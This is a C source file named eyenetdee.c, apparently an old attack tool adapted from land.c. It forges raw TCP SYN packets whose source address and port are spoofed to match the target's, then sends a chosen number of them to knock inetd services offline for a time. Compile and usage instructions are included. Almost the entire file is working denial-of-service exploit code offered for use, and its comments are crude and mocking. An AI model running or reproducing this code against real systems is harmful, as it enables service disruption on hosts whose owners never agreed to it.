/*  eyenetdee.c */

/*  eyenetdee.c

    - discovered by catatonic dismay dismay@cascadia.ssc.com
    - coded by issue issue@technotronic.com

    this little program exploits inetd services. currently the only linux
    distribution that was immune to this was debian (atleast my box).
    we really didn't test this on too many other operating systems other
    then linux, but im almost positive it may work on others.

    what it does: by sending a (small) syn flood to a host coming from the
                  host (localhost to localhost), it causes the service to
		  shutdown (seems to be only for about 20 minutes before
                  it restarts.

    tested on:	  redhat, slackware, debian - (linux)

    worked on:
		  redhat, slackware - there is more im sure, we didn't
		  bother testing on them though :/

    note: this is totally ripped from land.c, i had attentions of cleaning
    	  it up abit, but instead i said fuck it, so it's messy, big deal.
   
    compile: gcc -o eyenetdee eyenetdee.c
*/

#include <stdio.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/ip_tcp.h>
#include <netinet/protocols.h>

/* variables */
int     count, x;
int     twirl = 3;
int     countstr = 0;
int 	sock;

/* prototypes */
int     twirly(int *twirl);
void    usage(char *argv[]);
int     main(int argc, char *argv[]);

/* structures */
struct 	pseudohdr
{
        struct in_addr saddr;
        struct in_addr daddr;
        u_char zero;
        u_char protocol;
        u_short length;
        struct tcphdr tcpheader;
};

u_short checksum(u_short * data,u_short length)
{
        register long value;
        u_short i;

        for(i=0;i<(length>>1);i++)
                value+=data[i];

        if((length&1)==1)
                value+=(data[i]<<8);

        value=(value&65535)+(value>>16);

        return(~value);
}

/* let the fun begin */
int     main(int argc, char *argv[])
{
        fprintf(stderr,"eyenetdee.c by issue|catatonic dismay\ncode ripped from land.c by m3lt\n");

        if(argc < 4)
        {
        	usage(argv);
        }

	
        for (x = 0; x <= count; x++)
        {
	        struct sockaddr_in sin;
        	struct hostent * hn;
	        char buffer[40];
        	struct iphdr * ipheader=(struct iphdr *) buffer; 
		struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
        	struct pseudohdr pseudoheader;

        	count=(atoi(argv[3]));

        	bzero(&sin,sizeof(struct sockaddr_in));
	        sin.sin_family=AF_INET;
	
		/*  check target */
        	if((hn=gethostbyname(argv[1]))!=NULL)
                	bcopy(hn->h_addr,&sin.sin_addr,hn->h_length);
        	else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
        	{
                	fprintf(stderr,"unknown host %s\n",argv[1]);
                	return(-1);
        	}
		
        	if((sin.sin_port=htons(atoi(argv[2])))==0)
        	{
                	fprintf(stderr,"unknown port %s\n",argv[2]);
                	return(-1);
        	}

        	if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
        	{
                	fprintf(stderr,"couldn't allocate raw socket\n");
                	return(-1);
        	}

        	bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
       		ipheader->version=4;
        	ipheader->ihl=sizeof(struct iphdr)/4;
        	ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
        	ipheader->id=htons(0xF1C);
        	ipheader->ttl=255;
        	ipheader->protocol=IP_TCP;
        	ipheader->saddr=sin.sin_addr.s_addr;
        	ipheader->daddr=sin.sin_addr.s_addr;

        	tcpheader->th_sport=sin.sin_port;
        	tcpheader->th_dport=sin.sin_port;
        	tcpheader->th_seq=htonl(0xF1C);
        	tcpheader->th_flags=TH_SYN;
        	tcpheader->th_off=sizeof(struct tcphdr)/4;
        	tcpheader->th_win=htons(2048);

        	bzero(&pseudoheader,12+sizeof(struct tcphdr));
        	pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
        	pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
        	pseudoheader.protocol=6;
        	pseudoheader.length=htons(sizeof(struct tcphdr));
        	bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
        	tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));

		/*  failed */
        	if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
        	{
                	fprintf(stderr,"couldn't send packet\n");
                	return(-1);
        	}

		/*  just purdy stuff */
        	fprintf(stderr, "\rsending packet: %d (%c)", x, twirly(&twirl));
		if (count <= 200)
                	        usleep(1500*(10));
                	else
                        	usleep(700*(10));
	}
	
	/*  finished with the kiddie quest */
        fprintf(stderr, "\rsending packet: %d (hey kiddie, quit that shit!)",--x);
       	printf("\n");

	
       	close(sock);

	 /*  done so we wont reach the end of a non-void function */
       	exit(0);
}

int     twirly(int *twirl)
{
        if (*twirl > 3) *twirl = 0;
        switch ((*twirl)++)
        {
                case 0: return('|'); break; case 1: return('/'); break;
                case 2: return('-'); break; case 3: return('\\'); break;
        }
        return(0);
}

/* for the retards */
void    usage(char *argv[])
{
        printf("usage: %s [dst_ip] [port_number] [how_many]\n",argv[0]);
        exit(0);
}

/* EOF */
